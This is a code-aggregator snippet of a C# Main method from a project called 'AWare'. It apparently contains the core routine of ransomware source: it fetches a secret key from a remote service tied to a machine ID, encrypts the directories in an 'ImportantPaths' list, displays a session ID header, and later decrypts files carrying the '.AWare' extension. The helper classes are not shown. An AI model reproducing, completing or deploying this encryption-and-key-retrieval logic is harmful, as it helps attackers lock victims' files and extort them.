コード例 #1
0
ファイル: Program.cs プロジェクト: kelamrani/AWare
        private static async Task Main()
        {
            _aesServices = new AesServices();

            var aWareResponse = await new AWareWebServices(new UidHelper().Id).InitializeAWareWebServicesAsync();

            if (!aWareResponse.success)
            {
                Environment.Exit(0);
            }

            SecretKey = _aesServices.DecryptString(aWareResponse.SecretKey, aWareResponse.EncryptionKey);

            foreach (var i in ImportantPaths)
            {
                i.EncryptDirectories(_aesServices, SecretKey);
            }


            if (Console.WindowWidth != 220)
            {
                Console.WindowWidth = 220;
            }

            var consoleUpdateThread = new Thread(async() =>
            {
                while (true)
                {
                    Console.Title = ConsoleTitle;

                    await Task.Delay(25);
                }
            });

            consoleUpdateThread.Start();

            ConsoleHelper.AsciiHeader(aWareResponse.SessionID);

            foreach (var i in ProtectedFiles)
            {
                while (true)
                {
                    try
                    {
                        var fileInfo = new FileInfo(i);

                        if (!fileInfo.Name.ToLower().Contains("aware"))
                        {
                            break;
                        }

                        _aesServices.DecryptFile(i, $"{fileInfo.FullName.Replace(".AWare", "")}", SecretKey, 10);

                        break;
                    }
                    catch
                    {
                        continue;
                    }
                }
            }

            Environment.Exit(0);
        }